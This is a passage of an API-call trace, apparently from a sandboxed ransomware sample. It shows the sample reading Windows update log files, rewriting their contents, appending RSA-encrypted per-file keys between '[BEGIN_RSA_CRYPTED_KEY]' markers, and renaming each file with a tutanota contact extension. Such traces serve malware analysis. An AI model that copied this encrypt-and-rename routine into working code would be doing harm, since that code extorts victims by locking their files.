(lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.014.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.489] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0153.489] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0153.489] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0153.489] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.496] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.496] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.497] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.497] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0153.497] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0153.497] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.497] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.497] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.497] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.497] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.497] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="CxiKt/u745Y9Y3orr8NHQwxtKALWEnaDu0RYbdS1lEN+5fzSWdvrXTKOBST+IuF2\nW62YBLVMCrq33ifCvsERE6eueuwmSn1LKoPGWerG3Agh42tGDUuNybqrCBi8sqHr\nDpK14MP9RrZfKwKdsNALIx5GiI4C56VvTWpznFE25xu+QxuMvAzyw2bzrzPLVeYj\nfkDf/YDCm0ac2QjhM0AuoMVPXPN5rIJwBqdi32SY7b9KEBdbcxSCjL1bDVeMW1mr\nIfBhFbWwSW1w1Kb8CTlyyPjGyVqlnBsuBXK3W8qD/rnZUvvfjA8qVmseJ4tM4pDz\ngimyDLYTpc5aiNNNXtv7QA==\n", pcchString=0x2e3f9a8) returned 1 [0153.497] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.498] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.498] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.498] CloseHandle (hObject=0x694) returned 1 [0153.498] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.498] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.014.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.014.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610640 | out: hHeap=0x570000) returned 1 [0153.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0153.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652b30 | out: hHeap=0x570000) returned 1 [0153.499] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653250 | out: hHeap=0x570000) returned 1 [0153.499] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x6534b0 [0153.499] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb20 [0153.499] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.500] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl", dwFileAttributes=0x80) returned 1 [0153.500] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652a98 [0153.501] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x60ff00 [0153.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652a98 | out: hHeap=0x570000) returned 1 [0153.501] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.013.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.501] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=12288) returned 1 [0153.501] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3000) returned 0x6538b0 [0153.501] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3000) returned 0x6568b8 [0153.501] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x3000, lpOverlapped=0x0) returned 1 [0153.598] SetFilePointer (in: hFile=0x694, lDistanceToMove=-12288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.598] WriteFile (in: hFile=0x694, lpBuffer=0x6568b8*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6568b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3000, lpOverlapped=0x0) returned 1 [0153.614] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.614] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6568b8 | out: hHeap=0x570000) returned 1 [0153.614] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3000 [0153.614] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.614] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.615] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.615] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.615] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.615] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.615] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="GP2V+wMlIpW1dx97YBReFWMVbwpQlD3H3XCWTLyXNzpUuZ6g01sgySbvB50QfBwj\n7PNj+aVwLg/J+3kete5PI4rJshwXgI5BHKPdhx8UwOl+as/XTvR8+xsA/fDURQzx\n5bfCHZEM7/3W4IieMmY+uMTMGYh/JCm7AwoRcrDllJPFvPgd6RZbxPEcNU/7oChq\nkARPqtu2K/hJGlxPFxwhHP6XeE+Chf2eFKUgC7On9DG6S+NCGU3Mtwo4O8AZ66Yw\nf7NBMrt57FhPV78cofU6rweUyekUb3pFYZQLrSwjY8adl3ayhTynDqkYdlM7PXsA\nWMnaAHRlQMnHHYJvHqclIg==\n", pcchString=0x2e3f9a8) returned 1 [0153.615] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.615] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.615] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.615] CloseHandle (hObject=0x694) returned 1 [0153.616] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.616] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.013.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.013.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.617] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ff00 | out: hHeap=0x570000) returned 1 [0153.618] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb20 | out: hHeap=0x570000) returned 1 [0153.618] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6534b0 | out: hHeap=0x570000) returned 1 [0153.618] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6531b8 | out: hHeap=0x570000) returned 1 [0153.618] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x6531b8 [0153.618] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb20 [0153.618] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.618] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl", dwFileAttributes=0x80) returned 1 [0153.618] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652968 [0153.618] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x610728 [0153.618] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652968 | out: hHeap=0x570000) returned 1 [0153.618] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.012.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.618] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=12288) returned 1 [0153.618] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3000) returned 0x6538b0 [0153.619] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3000) returned 0x6568b8 [0153.619] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x3000, lpOverlapped=0x0) returned 1 [0153.745] SetFilePointer (in: hFile=0x694, lDistanceToMove=-12288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.745] WriteFile (in: hFile=0x694, lpBuffer=0x6568b8*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6568b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3000, lpOverlapped=0x0) returned 1 [0153.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6568b8 | out: hHeap=0x570000) returned 1 [0153.745] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3000 [0153.745] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.745] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.745] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.745] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.746] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.746] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="V8uQK3PGXRDXG7F9aGosGKHr/OTbDXnTjCwcfA5CRXMvQmSykvKxWy1vGhTDLkQm\nlmEdat4t7bloXXfSoX0WRedRLl6LGmE7htGnCcBKESLX1ZxGWIj6BdVAZDMhOkcn\no4uu6+OeVblDNtnCkTtzdTQXRh4umsK/X83/SBJDFI61tV84hQRhq+m2QutUSTBv\n/gW8ajAQe3p59+HcyqXJuMHSW+sUOkWOOlJMEHoewgWM91WlCsQqi82HS5FnaEZu\nhizAuA4CT/PbvSRyzMqRGZqrYlD+kS642ZBMbW9Q19ttgVP9zHFB67gkfxoEZq8n\nFEsnp6/v6cdS+qAswnk5WA==\n", pcchString=0x2e3f9a8) returned 1 [0153.746] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.746] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.746] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.746] CloseHandle (hObject=0x694) returned 1 [0153.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.746] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.012.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.012.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610728 | out: hHeap=0x570000) returned 1 [0153.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb20 | out: hHeap=0x570000) returned 1 [0153.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6531b8 | out: hHeap=0x570000) returned 1 [0153.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6532e8 | out: hHeap=0x570000) returned 1 [0153.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652ec0 [0153.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0153.751] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.751] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl", dwFileAttributes=0x80) returned 1 [0153.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653380 [0153.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x60fb60 [0153.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653380 | out: hHeap=0x570000) returned 1 [0153.752] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.011.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.752] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0153.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0153.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0153.752] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.758] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.758] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0153.758] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0153.758] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.759] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.759] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.759] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.759] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.759] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="qXMidW8zUNG2RigaP5dc/maYpCUCbDtgYbhWn4fSC84IXWUYomMiJa91jGNnyr9l\n9pFXHxBUT6mgMV4xUSFEHZ3UK7xOBwk0sFfM0WIZatMH3BqavMSWSA3DIARC4RKs\n1u+N1h6UjdsJVhdQgoMnEnB8PZfpfF2arUWrLzym8qz5U0fAyn+FO+1cIg4Uvjrt\nB2tiL4hyezd3eApJNJm0o5d2mgBIiBXW7p7LeaSiOGvA0NByt2MyWy/djVngsIIW\nwCcsqdqtHXv34s7ZXAdaazwSwnCPsmwDu2Q9dJL8413Nq7fMNz0ccZlqKKR+bpUp\nqnwywfE3hkTKmxn8o+11Dw==\n", pcchString=0x2e3f9a8) returned 1 [0153.759] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.759] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.759] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.759] CloseHandle (hObject=0x694) returned 1 [0153.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.759] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.011.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.011.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60fb60 | out: hHeap=0x570000) returned 1 [0153.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0153.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652ec0 | out: hHeap=0x570000) returned 1 [0153.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6535e0 | out: hHeap=0x570000) returned 1 [0153.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653678 [0153.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0153.761] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.761] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl", dwFileAttributes=0x80) returned 1 [0153.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x6532e8 [0153.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x610728 [0153.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6532e8 | out: hHeap=0x570000) returned 1 [0153.761] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.010.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.762] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4096) returned 1 [0153.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1000) returned 0x64e9a8 [0153.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1000) returned 0x64b990 [0153.762] ReadFile (in: hFile=0x694, lpBuffer=0x64e9a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x64e9a8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1000, lpOverlapped=0x0) returned 1 [0153.813] SetFilePointer (in: hFile=0x694, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.813] WriteFile (in: hFile=0x694, lpBuffer=0x64b990*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x64b990*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1000, lpOverlapped=0x0) returned 1 [0153.813] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x64e9a8 | out: hHeap=0x570000) returned 1 [0153.813] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x64b990 | out: hHeap=0x570000) returned 1 [0153.813] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1000 [0153.814] lstrlenA 